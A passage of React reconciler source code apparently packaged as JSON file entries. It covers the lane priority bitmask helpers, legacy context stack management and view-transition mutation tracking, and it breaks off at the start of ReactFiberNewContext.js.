includesRetryLane(lanes: Lanes): boolean {\n  return (lanes & RetryLanes) !== NoLanes;\n}\n\nexport function includesIdleGroupLanes(lanes: Lanes): boolean {\n  return (\n    (lanes &\n      (SelectiveHydrationLane |\n        IdleHydrationLane |\n        IdleLane |\n        OffscreenLane |\n        DeferredLane)) !==\n    NoLanes\n  );\n}\n\nexport function includesOnlyHydrationLanes(lanes: Lanes): boolean {\n  return (lanes & HydrationLanes) === lanes;\n}\n\nexport function includesOnlyOffscreenLanes(lanes: Lanes): boolean {\n  return (lanes & OffscreenLane) === lanes;\n}\n\nexport function includesOnlyHydrationOrOffscreenLanes(lanes: Lanes): boolean {\n  return (lanes & (HydrationLanes | OffscreenLane)) === lanes;\n}\n\nexport function includesOnlyViewTransitionEligibleLanes(lanes: Lanes): boolean {\n  return (lanes & (TransitionLanes | RetryLanes | IdleLane)) === lanes;\n}\n\nexport function includesOnlySuspenseyCommitEligibleLanes(\n  lanes: Lanes,\n): boolean {\n  return (\n    (lanes & (TransitionLanes | RetryLanes | IdleLane | GestureLane)) === lanes\n  );\n}\n\nexport function includesLoadingIndicatorLanes(lanes: Lanes): boolean {\n  return (lanes & (SyncLane | DefaultLane)) !== NoLanes;\n}\n\nexport function includesBlockingLane(lanes: Lanes): boolean {\n  const SyncDefaultLanes =\n    SyncHydrationLane |\n    SyncLane |\n    InputContinuousHydrationLane |\n    InputContinuousLane |\n    DefaultHydrationLane |\n    DefaultLane |\n    GestureLane;\n  return (lanes & SyncDefaultLanes) !== NoLanes;\n}\n\nexport function includesExpiredLane(root: FiberRoot, lanes: Lanes): boolean {\n  // This is a separate check from includesBlockingLane because a lane can\n  // expire after a render has already started.\n  return (lanes & root.expiredLanes) !== NoLanes;\n}\n\nexport function isBlockingLane(lane: Lane): boolean {\n  const SyncDefaultLanes =\n    SyncHydrationLane |\n    SyncLane |\n    InputContinuousHydrationLane |\n    InputContinuousLane |\n    DefaultHydrationLane |\n    DefaultLane |\n    GestureLane;\n  return (lane & SyncDefaultLanes) !== NoLanes;\n}\n\nexport function isTransitionLane(lane: Lane): boolean {\n  return (lane & TransitionLanes) !== NoLanes;\n}\n\nexport function isGestureRender(lanes: Lanes): boolean {\n  if (!enableGestureTransition) {\n    return false;\n  }\n  // This should render only the one lane.\n  return lanes === GestureLane;\n}\n\nexport function claimNextTransitionUpdateLane(): Lane {\n  // Cycle through the lanes, assigning each new transition to the next lane.\n  // In most cases, this means every transition gets its own lane, until we\n  // run out of lanes and cycle back to the beginning.\n  const lane = nextTransitionUpdateLane;\n  nextTransitionUpdateLane <<= 1;\n  if ((nextTransitionUpdateLane & TransitionUpdateLanes) === NoLanes) {\n    nextTransitionUpdateLane = TransitionLane1;\n  }\n  return lane;\n}\n\nexport function claimNextTransitionDeferredLane(): Lane {\n  const lane = nextTransitionDeferredLane;\n  nextTransitionDeferredLane <<= 1;\n  if ((nextTransitionDeferredLane & TransitionDeferredLanes) === NoLanes) {\n    nextTransitionDeferredLane = TransitionLane11;\n  }\n  return lane;\n}\n\nexport function claimNextRetryLane(): Lane {\n  const lane = nextRetryLane;\n  nextRetryLane <<= 1;\n  if ((nextRetryLane & RetryLanes) === NoLanes) {\n    nextRetryLane = RetryLane1;\n  }\n  return lane;\n}\n\nexport function getHighestPriorityLane(lanes: Lanes): Lane {\n  return lanes & -lanes;\n}\n\nfunction getLanesOfEqualOrHigherPriority(lanes: Lane | Lanes): Lanes {\n  // Create a mask with all bits to the right or same as the highest bit.\n  // So if lanes is 0b100, the result would be 0b111.\n  // If lanes is 0b101, the result would be 0b111.\n  const lowestPriorityLaneIndex = 31 - clz32(lanes);\n  return (1 << (lowestPriorityLaneIndex + 1)) - 1;\n}\n\nexport function pickArbitraryLane(lanes: Lanes): Lane {\n  // This wrapper function gets inlined. Only exists so to communicate that it\n  // doesn't matter which bit is selected; you can pick any bit without\n  // affecting the algorithms where its used. Here I'm using\n  // getHighestPriorityLane because it requires the fewest operations.\n  return getHighestPriorityLane(lanes);\n}\n\nfunction pickArbitraryLaneIndex(lanes: Lanes) {\n  return 31 - clz32(lanes);\n}\n\nfunction laneToIndex(lane: Lane) {\n  return pickArbitraryLaneIndex(lane);\n}\n\nexport function includesSomeLane(a: Lanes | Lane, b: Lanes | Lane): boolean {\n  return (a & b) !== NoLanes;\n}\n\nexport function isSubsetOfLanes(set: Lanes, subset: Lanes | Lane): boolean {\n  return (set & subset) === subset;\n}\n\nexport function mergeLanes(a: Lanes | Lane, b: Lanes | Lane): Lanes {\n  return a | b;\n}\n\nexport function removeLanes(set: Lanes, subset: Lanes | Lane): Lanes {\n  return set & ~subset;\n}\n\nexport function intersectLanes(a: Lanes | Lane, b: Lanes | Lane): Lanes {\n  return a & b;\n}\n\n// Seems redundant, but it changes the type from a single lane (used for\n// updates) to a group of lanes (used for flushing work).\nexport function laneToLanes(lane: Lane): Lanes {\n  return lane;\n}\n\nexport function higherPriorityLane(a: Lane, b: Lane): Lane {\n  // This works because the bit ranges decrease in priority as you go left.\n  return a !== NoLane && a < b ? a : b;\n}\n\nexport function createLaneMap<T>(initial: T): LaneMap<T> {\n  // Intentionally pushing one by one.\n  // https://v8.dev/blog/elements-kinds#avoid-creating-holes\n  const laneMap = [];\n  for (let i = 0; i < TotalLanes; i++) {\n    laneMap.push(initial);\n  }\n  return laneMap;\n}\n\nexport function markRootUpdated(root: FiberRoot, updateLane: Lane) {\n  root.pendingLanes |= updateLane;\n  if (enableDefaultTransitionIndicator) {\n    // Mark that this lane might need a loading indicator to be shown.\n    root.indicatorLanes |= updateLane & TransitionLanes;\n  }\n\n  // If there are any suspended transitions, it's possible this new update\n  // could unblock them. Clear the suspended lanes so that we can try rendering\n  // them again.\n  //\n  // TODO: We really only need to unsuspend only lanes that are in the\n  // `subtreeLanes` of the updated fiber, or the update lanes of the return\n  // path. This would exclude suspended updates in an unrelated sibling tree,\n  // since there's no way for this update to unblock it.\n  //\n  // We don't do this if the incoming update is idle, because we never process\n  // idle updates until after all the regular updates have finished; there's no\n  // way it could unblock a transition.\n  if (updateLane !== IdleLane) {\n    root.suspendedLanes = NoLanes;\n    root.pingedLanes = NoLanes;\n    root.warmLanes = NoLanes;\n  }\n}\n\nexport function markRootSuspended(\n  root: FiberRoot,\n  suspendedLanes: Lanes,\n  spawnedLane: Lane,\n  didAttemptEntireTree: boolean,\n) {\n  // TODO: Split this into separate functions for marking the root at the end of\n  // a render attempt versus suspending while the root is still in progress.\n  root.suspendedLanes |= suspendedLanes;\n  root.pingedLanes &= ~suspendedLanes;\n\n  if (didAttemptEntireTree) {\n    // Mark these lanes as warm so we know there's nothing else to work on.\n    root.warmLanes |= suspendedLanes;\n  } else {\n    // Render unwound without attempting all the siblings. Do no mark the lanes\n    // as warm. This will cause a prewarm render to be scheduled.\n  }\n\n  // The suspended lanes are no longer CPU-bound. Clear their expiration times.\n  const expirationTimes = root.expirationTimes;\n  let lanes = suspendedLanes;\n  while (lanes > 0) {\n    const index = pickArbitraryLaneIndex(lanes);\n    const lane = 1 << index;\n\n    expirationTimes[index] = NoTimestamp;\n\n    lanes &= ~lane;\n  }\n\n  if (spawnedLane !== NoLane) {\n    markSpawnedDeferredLane(root, spawnedLane, suspendedLanes);\n  }\n}\n\nexport function markRootPinged(root: FiberRoot, pingedLanes: Lanes) {\n  root.pingedLanes |= root.suspendedLanes & pingedLanes;\n  // The data that just resolved could have unblocked additional children, which\n  // will also need to be prewarmed if something suspends again.\n  root.warmLanes &= ~pingedLanes;\n}\n\nexport function markRootFinished(\n  root: FiberRoot,\n  finishedLanes: Lanes,\n  remainingLanes: Lanes,\n  spawnedLane: Lane,\n  updatedLanes: Lanes,\n  suspendedRetryLanes: Lanes,\n) {\n  const previouslyPendingLanes = root.pendingLanes;\n  const noLongerPendingLanes = previouslyPendingLanes & ~remainingLanes;\n\n  root.pendingLanes = remainingLanes;\n\n  // Let's try everything again\n  root.suspendedLanes = NoLanes;\n  root.pingedLanes = NoLanes;\n  root.warmLanes = NoLanes;\n\n  if (enableDefaultTransitionIndicator) {\n    root.indicatorLanes &= remainingLanes;\n  }\n\n  root.expiredLanes &= remainingLanes;\n\n  root.entangledLanes &= remainingLanes;\n\n  root.errorRecoveryDisabledLanes &= remainingLanes;\n  root.shellSuspendCounter = 0;\n\n  const entanglements = root.entanglements;\n  const expirationTimes = root.expirationTimes;\n  const hiddenUpdates = root.hiddenUpdates;\n\n  // Clear the lanes that no longer have pending work\n  let lanes = noLongerPendingLanes;\n  while (lanes > 0) {\n    const index = pickArbitraryLaneIndex(lanes);\n    const lane = 1 << index;\n\n    entanglements[index] = NoLanes;\n    expirationTimes[index] = NoTimestamp;\n\n    const hiddenUpdatesForLane = hiddenUpdates[index];\n    if (hiddenUpdatesForLane !== null) {\n      hiddenUpdates[index] = null;\n      // \"Hidden\" updates are updates that were made to a hidden component. They\n      // have special logic associated with them because they may be entangled\n      // with updates that occur outside that tree. But once the outer tree\n      // commits, they behave like regular updates.\n      for (let i = 0; i < hiddenUpdatesForLane.length; i++) {\n        const update = hiddenUpdatesForLane[i];\n        if (update !== null) {\n          update.lane &= ~OffscreenLane;\n        }\n      }\n    }\n\n    lanes &= ~lane;\n  }\n\n  if (spawnedLane !== NoLane) {\n    markSpawnedDeferredLane(\n      root,\n      spawnedLane,\n      // This render finished successfully without suspending, so we don't need\n      // to entangle the spawned task with the parent task.\n      NoLanes,\n    );\n  }\n\n  // suspendedRetryLanes represents the retry lanes spawned by new Suspense\n  // boundaries during this render that were not later pinged.\n  //\n  // These lanes were marked as pending on their associated Suspense boundary\n  // fiber during the render phase so that we could start rendering them\n  // before new data streams in. As soon as the fallback commits, we can try\n  // to render them again.\n  //\n  // But since we know they're still suspended, we can skip straight to the\n  // \"prerender\" mode (i.e. don't skip over siblings after something\n  // suspended) instead of the regular mode (i.e. unwind and skip the siblings\n  // as soon as something suspends to unblock the rest of the update).\n  if (\n    suspendedRetryLanes !== NoLanes &&\n    // Note that we only do this if there were no updates since we started\n    // rendering. This mirrors the logic in markRootUpdated — whenever we\n    // receive an update, we reset all the suspended and pinged lanes.\n    updatedLanes === NoLanes &&\n    !(disableLegacyMode && root.tag === LegacyRoot)\n  ) {\n    // We also need to avoid marking a retry lane as suspended if it was already\n    // pending before this render. We can't say these are now suspended if they\n    // weren't included in our attempt.\n    const freshlySpawnedRetryLanes =\n      suspendedRetryLanes &\n      // Remove any retry lane that was already pending before our just-finished\n      // attempt, and also wasn't included in that attempt.\n      ~(previouslyPendingLanes & ~finishedLanes);\n    root.suspendedLanes |= freshlySpawnedRetryLanes;\n  }\n}\n\nfunction markSpawnedDeferredLane(\n  root: FiberRoot,\n  spawnedLane: Lane,\n  entangledLanes: Lanes,\n) {\n  // This render spawned a deferred task. Mark it as pending.\n  root.pendingLanes |= spawnedLane;\n  root.suspendedLanes &= ~spawnedLane;\n\n  // Entangle the spawned lane with the DeferredLane bit so that we know it\n  // was the result of another render. This lets us avoid a useDeferredValue\n  // waterfall — only the first level will defer.\n  // TODO: Now that there is a reserved set of transition lanes that are used\n  // exclusively for deferred work, we should get rid of this special\n  // DeferredLane bit; the same information can be inferred by checking whether\n  // the lane is one of the TransitionDeferredLanes. The only reason this still\n  // exists is because we need to also do the same for OffscreenLane. That\n  // requires additional changes because there are more places around the\n  // codebase that treat OffscreenLane as a magic value; would need to check\n  // for a new OffscreenDeferredLane, too. Will leave this for a follow-up.\n  const spawnedLaneIndex = laneToIndex(spawnedLane);\n  root.entangledLanes |= spawnedLane;\n  root.entanglements[spawnedLaneIndex] |=\n    DeferredLane |\n    // If the parent render task suspended, we must also entangle those lanes\n    // with the spawned task, so that the deferred task includes all the same\n    // updates that the parent task did. We can exclude any lane that is not\n    // used for updates (e.g. Offscreen).\n    (entangledLanes & UpdateLanes);\n}\n\nexport function markRootEntangled(root: FiberRoot, entangledLanes: Lanes) {\n  // In addition to entangling each of the given lanes with each other, we also\n  // have to consider _transitive_ entanglements. For each lane that is already\n  // entangled with *any* of the given lanes, that lane is now transitively\n  // entangled with *all* the given lanes.\n  //\n  // Translated: If C is entangled with A, then entangling A with B also\n  // entangles C with B.\n  //\n  // If this is hard to grasp, it might help to intentionally break this\n  // function and look at the tests that fail in ReactTransition-test.js. Try\n  // commenting out one of the conditions below.\n\n  const rootEntangledLanes = (root.entangledLanes |= entangledLanes);\n  const entanglements = root.entanglements;\n  let lanes = rootEntangledLanes;\n  while (lanes) {\n    const index = pickArbitraryLaneIndex(lanes);\n    const lane = 1 << index;\n    if (\n      // Is this one of the newly entangled lanes?\n      (lane & entangledLanes) |\n      // Is this lane transitively entangled with the newly entangled lanes?\n      (entanglements[index] & entangledLanes)\n    ) {\n      entanglements[index] |= entangledLanes;\n    }\n    lanes &= ~lane;\n  }\n}\n\nexport function upgradePendingLanesToSync(\n  root: FiberRoot,\n  lanesToUpgrade: Lanes,\n) {\n  // Same as upgradePendingLaneToSync but accepts multiple lanes, so it's a\n  // bit slower.\n  root.pendingLanes |= SyncLane;\n  root.entangledLanes |= SyncLane;\n  let lanes = lanesToUpgrade;\n  while (lanes) {\n    const index = pickArbitraryLaneIndex(lanes);\n    const lane = 1 << index;\n    root.entanglements[SyncLaneIndex] |= lane;\n    lanes &= ~lane;\n  }\n}\n\nexport function markHiddenUpdate(\n  root: FiberRoot,\n  update: ConcurrentUpdate,\n  lane: Lane,\n) {\n  const index = laneToIndex(lane);\n  const hiddenUpdates = root.hiddenUpdates;\n  const hiddenUpdatesForLane = hiddenUpdates[index];\n  if (hiddenUpdatesForLane === null) {\n    hiddenUpdates[index] = [update];\n  } else {\n    hiddenUpdatesForLane.push(update);\n  }\n  update.lane = lane | OffscreenLane;\n}\n\nexport function getBumpedLaneForHydration(\n  root: FiberRoot,\n  renderLanes: Lanes,\n): Lane {\n  const renderLane = getHighestPriorityLane(renderLanes);\n  const bumpedLane =\n    (renderLane & SyncUpdateLanes) !== NoLane\n      ? // Unify sync lanes. We don't do this inside getBumpedLaneForHydrationByLane\n        // because that causes things to flush synchronously when they shouldn't.\n        // TODO: This is not coherent but that's beacuse the unification is not coherent.\n        // We need to get merge these into an actual single lane.\n        SyncHydrationLane\n      : getBumpedLaneForHydrationByLane(renderLane);\n  // Check if the lane we chose is suspended. If so, that indicates that we\n  // already attempted and failed to hydrate at that level. Also check if we're\n  // already rendering that lane, which is rare but could happen.\n  // TODO: This should move into the caller to decide whether giving up is valid.\n  if ((bumpedLane & (root.suspendedLanes | renderLanes)) !== NoLane) {\n    // Give up trying to hydrate and fall back to client render.\n    return NoLane;\n  }\n  return bumpedLane;\n}\n\nexport function getBumpedLaneForHydrationByLane(lane: Lane): Lane {\n  switch (lane) {\n    case SyncLane:\n      lane = SyncHydrationLane;\n      break;\n    case InputContinuousLane:\n      lane = InputContinuousHydrationLane;\n      break;\n    case DefaultLane:\n      lane = DefaultHydrationLane;\n      break;\n    case TransitionLane1:\n    case TransitionLane2:\n    case TransitionLane3:\n    case TransitionLane4:\n    case TransitionLane5:\n    case TransitionLane6:\n    case TransitionLane7:\n    case TransitionLane8:\n    case TransitionLane9:\n    case TransitionLane10:\n    case TransitionLane11:\n    case TransitionLane12:\n    case TransitionLane13:\n    case TransitionLane14:\n    case RetryLane1:\n    case RetryLane2:\n    case RetryLane3:\n    case RetryLane4:\n      lane = TransitionHydrationLane;\n      break;\n    case IdleLane:\n      lane = IdleHydrationLane;\n      break;\n    default:\n      // Everything else is already either a hydration lane, or shouldn't\n      // be retried at a hydration lane.\n      lane = NoLane;\n      break;\n  }\n  return lane;\n}\n\nexport function addFiberToLanesMap(\n  root: FiberRoot,\n  fiber: Fiber,\n  lanes: Lanes | Lane,\n) {\n  if (!enableUpdaterTracking) {\n    return;\n  }\n  if (!isDevToolsPresent) {\n    return;\n  }\n  const pendingUpdatersLaneMap = root.pendingUpdatersLaneMap;\n  while (lanes > 0) {\n    const index = laneToIndex(lanes);\n    const lane = 1 << index;\n\n    const updaters = pendingUpdatersLaneMap[index];\n    updaters.add(fiber);\n\n    lanes &= ~lane;\n  }\n}\n\nexport function movePendingFibersToMemoized(root: FiberRoot, lanes: Lanes) {\n  if (!enableUpdaterTracking) {\n    return;\n  }\n  if (!isDevToolsPresent) {\n    return;\n  }\n  const pendingUpdatersLaneMap = root.pendingUpdatersLaneMap;\n  const memoizedUpdaters = root.memoizedUpdaters;\n  while (lanes > 0) {\n    const index = laneToIndex(lanes);\n    const lane = 1 << index;\n\n    const updaters = pendingUpdatersLaneMap[index];\n    if (updaters.size > 0) {\n      updaters.forEach(fiber => {\n        const alternate = fiber.alternate;\n        if (alternate === null || !memoizedUpdaters.has(alternate)) {\n          memoizedUpdaters.add(fiber);\n        }\n      });\n      updaters.clear();\n    }\n\n    lanes &= ~lane;\n  }\n}\n\nexport function addTransitionToLanesMap(\n  root: FiberRoot,\n  transition: Transition,\n  lane: Lane,\n) {\n  if (enableTransitionTracing) {\n    const transitionLanesMap = root.transitionLanes;\n    const index = laneToIndex(lane);\n    let transitions = transitionLanesMap[index];\n    if (transitions === null) {\n      transitions = new Set();\n    }\n    transitions.add(transition);\n\n    transitionLanesMap[index] = transitions;\n  }\n}\n\nexport function getTransitionsForLanes(\n  root: FiberRoot,\n  lanes: Lane | Lanes,\n): Array<Transition> | null {\n  if (!enableTransitionTracing) {\n    return null;\n  }\n\n  const transitionsForLanes = [];\n  while (lanes > 0) {\n    const index = laneToIndex(lanes);\n    const lane = 1 << index;\n    const transitions = root.transitionLanes[index];\n    if (transitions !== null) {\n      transitions.forEach(transition => {\n        transitionsForLanes.push(transition);\n      });\n    }\n\n    lanes &= ~lane;\n  }\n\n  if (transitionsForLanes.length === 0) {\n    return null;\n  }\n\n  return transitionsForLanes;\n}\n\nexport function clearTransitionsForLanes(root: FiberRoot, lanes: Lane | Lanes) {\n  if (!enableTransitionTracing) {\n    return;\n  }\n\n  while (lanes > 0) {\n    const index = laneToIndex(lanes);\n    const lane = 1 << index;\n\n    const transitions = root.transitionLanes[index];\n    if (transitions !== null) {\n      root.transitionLanes[index] = null;\n    }\n\n    lanes &= ~lane;\n  }\n}\n\n// Used to name the Performance Track\nexport function getGroupNameOfHighestPriorityLane(lanes: Lanes): string {\n  if (\n    lanes &\n    (SyncHydrationLane |\n      SyncLane |\n      InputContinuousHydrationLane |\n      InputContinuousLane |\n      DefaultHydrationLane |\n      DefaultLane)\n  ) {\n    return 'Blocking';\n  }\n  if (lanes & GestureLane) {\n    return 'Gesture';\n  }\n  if (lanes & (TransitionHydrationLane | TransitionLanes)) {\n    return 'Transition';\n  }\n  if (lanes & RetryLanes) {\n    return 'Suspense';\n  }\n  if (\n    lanes &\n    (SelectiveHydrationLane |\n      IdleHydrationLane |\n      IdleLane |\n      OffscreenLane |\n      DeferredLane)\n  ) {\n    return 'Idle';\n  }\n  return 'Other';\n}\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberLegacyContext.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {Fiber} from './ReactInternalTypes';\nimport type {StackCursor} from './ReactFiberStack';\n\nimport {disableLegacyContext} from 'shared/ReactFeatureFlags';\nimport {ClassComponent, HostRoot} from './ReactWorkTags';\nimport getComponentNameFromFiber from 'react-reconciler/src/getComponentNameFromFiber';\n\nimport {createCursor, push, pop} from './ReactFiberStack';\n\nlet warnedAboutMissingGetChildContext;\n\nif (__DEV__) {\n  warnedAboutMissingGetChildContext = ({}: {[string]: boolean});\n}\n\nexport const emptyContextObject: {} = {};\nif (__DEV__) {\n  Object.freeze(emptyContextObject);\n}\n\n// A cursor to the current merged context object on the stack.\nconst contextStackCursor: StackCursor<Object> =\n  createCursor(emptyContextObject);\n// A cursor to a boolean indicating whether the context has changed.\nconst didPerformWorkStackCursor: StackCursor<boolean> = createCursor(false);\n// Keep track of the previous context object that was on the stack.\n// We use this to get access to the parent context after we have already\n// pushed the next context provider, and now need to merge their contexts.\nlet previousContext: Object = emptyContextObject;\n\nfunction getUnmaskedContext(\n  workInProgress: Fiber,\n  Component: Function,\n  didPushOwnContextIfProvider: boolean,\n): Object {\n  if (disableLegacyContext) {\n    return emptyContextObject;\n  } else {\n    if (didPushOwnContextIfProvider && isContextProvider(Component)) {\n      // If the fiber is a context provider itself, when we read its context\n      // we may have already pushed its own child context on the stack. A context\n      // provider should not \"see\" its own child context. Therefore we read the\n      // previous (parent) context instead for a context provider.\n      return previousContext;\n    }\n    return contextStackCursor.current;\n  }\n}\n\nfunction cacheContext(\n  workInProgress: Fiber,\n  unmaskedContext: Object,\n  maskedContext: Object,\n): void {\n  if (disableLegacyContext) {\n    return;\n  } else {\n    const instance = workInProgress.stateNode;\n    instance.__reactInternalMemoizedUnmaskedChildContext = unmaskedContext;\n    instance.__reactInternalMemoizedMaskedChildContext = maskedContext;\n  }\n}\n\nfunction getMaskedContext(\n  workInProgress: Fiber,\n  unmaskedContext: Object,\n): Object {\n  if (disableLegacyContext) {\n    return emptyContextObject;\n  } else {\n    const type = workInProgress.type;\n    const contextTypes = type.contextTypes;\n    if (!contextTypes) {\n      return emptyContextObject;\n    }\n\n    // Avoid recreating masked context unless unmasked context has changed.\n    // Failing to do this will result in unnecessary calls to componentWillReceiveProps.\n    // This may trigger infinite loops if componentWillReceiveProps calls setState.\n    const instance = workInProgress.stateNode;\n    if (\n      instance &&\n      instance.__reactInternalMemoizedUnmaskedChildContext === unmaskedContext\n    ) {\n      return instance.__reactInternalMemoizedMaskedChildContext;\n    }\n\n    const context: {[string]: $FlowFixMe} = {};\n    for (const key in contextTypes) {\n      context[key] = unmaskedContext[key];\n    }\n\n    // Cache unmasked context so we can avoid recreating masked context unless necessary.\n    // Context is created before the class component is instantiated so check for instance.\n    if (instance) {\n      cacheContext(workInProgress, unmaskedContext, context);\n    }\n\n    return context;\n  }\n}\n\nfunction hasContextChanged(): boolean {\n  if (disableLegacyContext) {\n    return false;\n  } else {\n    return didPerformWorkStackCursor.current;\n  }\n}\n\nfunction isContextProvider(type: Function): boolean {\n  if (disableLegacyContext) {\n    return false;\n  } else {\n    const childContextTypes = type.childContextTypes;\n    return childContextTypes !== null && childContextTypes !== undefined;\n  }\n}\n\nfunction popContext(fiber: Fiber): void {\n  if (disableLegacyContext) {\n    return;\n  } else {\n    pop(didPerformWorkStackCursor, fiber);\n    pop(contextStackCursor, fiber);\n  }\n}\n\nfunction popTopLevelContextObject(fiber: Fiber): void {\n  if (disableLegacyContext) {\n    return;\n  } else {\n    pop(didPerformWorkStackCursor, fiber);\n    pop(contextStackCursor, fiber);\n  }\n}\n\nfunction pushTopLevelContextObject(\n  fiber: Fiber,\n  context: Object,\n  didChange: boolean,\n): void {\n  if (disableLegacyContext) {\n    return;\n  } else {\n    if (contextStackCursor.current !== emptyContextObject) {\n      throw new Error(\n        'Unexpected context found on stack. ' +\n          'This error is likely caused by a bug in React. Please file an issue.',\n      );\n    }\n\n    push(contextStackCursor, context, fiber);\n    push(didPerformWorkStackCursor, didChange, fiber);\n  }\n}\n\nfunction processChildContext(\n  fiber: Fiber,\n  type: any,\n  parentContext: Object,\n): Object {\n  if (disableLegacyContext) {\n    return parentContext;\n  } else {\n    const instance = fiber.stateNode;\n    const childContextTypes = type.childContextTypes;\n\n    // TODO (bvaughn) Replace this behavior with an invariant() in the future.\n    // It has only been added in Fiber to match the (unintentional) behavior in Stack.\n    if (typeof instance.getChildContext !== 'function') {\n      if (__DEV__) {\n        const componentName = getComponentNameFromFiber(fiber) || 'Unknown';\n\n        if (!warnedAboutMissingGetChildContext[componentName]) {\n          warnedAboutMissingGetChildContext[componentName] = true;\n          console.error(\n            '%s.childContextTypes is specified but there is no getChildContext() method ' +\n              'on the instance. You can either define getChildContext() on %s or remove ' +\n              'childContextTypes from it.',\n            componentName,\n            componentName,\n          );\n        }\n      }\n      return parentContext;\n    }\n\n    const childContext = instance.getChildContext();\n    for (const contextKey in childContext) {\n      if (!(contextKey in childContextTypes)) {\n        throw new Error(\n          `${\n            getComponentNameFromFiber(fiber) || 'Unknown'\n          }.getChildContext(): key \"${contextKey}\" is not defined in childContextTypes.`,\n        );\n      }\n    }\n\n    return {...parentContext, ...childContext};\n  }\n}\n\nfunction pushContextProvider(workInProgress: Fiber): boolean {\n  if (disableLegacyContext) {\n    return false;\n  } else {\n    const instance = workInProgress.stateNode;\n    // We push the context as early as possible to ensure stack integrity.\n    // If the instance does not exist yet, we will push null at first,\n    // and replace it on the stack later when invalidating the context.\n    const memoizedMergedChildContext =\n      (instance && instance.__reactInternalMemoizedMergedChildContext) ||\n      emptyContextObject;\n\n    // Remember the parent context so we can merge with it later.\n    // Inherit the parent's did-perform-work value to avoid inadvertently blocking updates.\n    previousContext = contextStackCursor.current;\n    push(contextStackCursor, memoizedMergedChildContext, workInProgress);\n    push(\n      didPerformWorkStackCursor,\n      didPerformWorkStackCursor.current,\n      workInProgress,\n    );\n\n    return true;\n  }\n}\n\nfunction invalidateContextProvider(\n  workInProgress: Fiber,\n  type: any,\n  didChange: boolean,\n): void {\n  if (disableLegacyContext) {\n    return;\n  } else {\n    const instance = workInProgress.stateNode;\n\n    if (!instance) {\n      throw new Error(\n        'Expected to have an instance by this point. ' +\n          'This error is likely caused by a bug in React. Please file an issue.',\n      );\n    }\n\n    if (didChange) {\n      // Merge parent and own context.\n      // Skip this if we're not updating due to sCU.\n      // This avoids unnecessarily recomputing memoized values.\n      const mergedContext = processChildContext(\n        workInProgress,\n        type,\n        previousContext,\n      );\n      instance.__reactInternalMemoizedMergedChildContext = mergedContext;\n\n      // Replace the old (or empty) context with the new one.\n      // It is important to unwind the context in the reverse order.\n      pop(didPerformWorkStackCursor, workInProgress);\n      pop(contextStackCursor, workInProgress);\n      // Now push the new context and mark that it has changed.\n      push(contextStackCursor, mergedContext, workInProgress);\n      push(didPerformWorkStackCursor, didChange, workInProgress);\n    } else {\n      pop(didPerformWorkStackCursor, workInProgress);\n      push(didPerformWorkStackCursor, didChange, workInProgress);\n    }\n  }\n}\n\nfunction findCurrentUnmaskedContext(fiber: Fiber): Object {\n  if (disableLegacyContext) {\n    return emptyContextObject;\n  } else {\n    // Currently this is only used with renderSubtreeIntoContainer; not sure if it\n    // makes sense elsewhere\n    let node: Fiber = fiber;\n    do {\n      switch (node.tag) {\n        case HostRoot:\n          return node.stateNode.context;\n        case ClassComponent: {\n          const Component = node.type;\n          if (isContextProvider(Component)) {\n            return node.stateNode.__reactInternalMemoizedMergedChildContext;\n          }\n          break;\n        }\n      }\n      // $FlowFixMe[incompatible-type] we bail out when we get a null\n      node = node.return;\n    } while (node !== null);\n\n    throw new Error(\n      'Found unexpected detached subtree parent. ' +\n        'This error is likely caused by a bug in React. Please file an issue.',\n    );\n  }\n}\n\nexport {\n  getUnmaskedContext,\n  cacheContext,\n  getMaskedContext,\n  hasContextChanged,\n  popContext,\n  popTopLevelContextObject,\n  pushTopLevelContextObject,\n  processChildContext,\n  isContextProvider,\n  pushContextProvider,\n  invalidateContextProvider,\n  findCurrentUnmaskedContext,\n};\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberMutationTracking.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {\n  enableDefaultTransitionIndicator,\n  enableViewTransition,\n} from 'shared/ReactFeatureFlags';\n\nexport let rootMutationContext: boolean = false;\nexport let viewTransitionMutationContext: boolean = false;\n\nexport function pushRootMutationContext(): void {\n  if (enableDefaultTransitionIndicator) {\n    rootMutationContext = false;\n  }\n  if (enableViewTransition) {\n    viewTransitionMutationContext = false;\n  }\n}\n\nexport function pushMutationContext(): boolean {\n  if (!enableViewTransition) {\n    return false;\n  }\n  const prev = viewTransitionMutationContext;\n  viewTransitionMutationContext = false;\n  return prev;\n}\n\nexport function popMutationContext(prev: boolean): void {\n  if (enableViewTransition) {\n    if (viewTransitionMutationContext) {\n      rootMutationContext = true;\n    }\n    viewTransitionMutationContext = prev;\n  }\n}\n\nexport function trackHostMutation(): void {\n  // This is extremely hot function that must be inlined. Don't add more stuff.\n  if (enableViewTransition) {\n    viewTransitionMutationContext = true;\n  } else if (enableDefaultTransitionIndicator) {\n    // We only set this if enableViewTransition is not on. Otherwise we track\n    // it on the viewTransitionMutationContext and collect it when we pop\n    // to avoid more than a single operation in this hot path.\n    rootMutationContext = true;\n  }\n}\n"
  },
  {
    "path": "packages/react-reconciler/src/ReactFiberNewContext.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactContext} from 'shared/ReactTypes';\nimport type {\n  Fiber,\n  ContextDependency,\n  Dependencies,\n} from './ReactInternalTypes';\nimport type {StackCursor} from './ReactFiberStack';\nimport type {Lanes} from './ReactFiberLane';\nimport type {TransitionStatus} from './ReactFiberConfig';\nimport type {Hook} from './ReactFiberHooks';\n\nimport {isPrimaryRenderer, HostTransitionContext} from './ReactFiberConfig';\nimport {createCursor, push, pop} from './ReactFiberStack';\nimport {\n  ContextProvider,\n  DehydratedFragment,\n  SuspenseComponent,\n} from './ReactWorkTags';\nimport {NoLanes, isSubsetOfLanes, mergeLanes} from './ReactFiberLane';\nimport {\n  NoFlags,\n  DidPropagateContext,\n  NeedsPropagation,\n} from './ReactFiberFlags';\n\nimport is from 'shared/objectIs';\nimport {getHostTransitionProvider} from './ReactFiberHostContext';\n\nconst valueCursor: StackCursor<mixed> = createCursor(null);\n\nlet rendererCursorDEV: 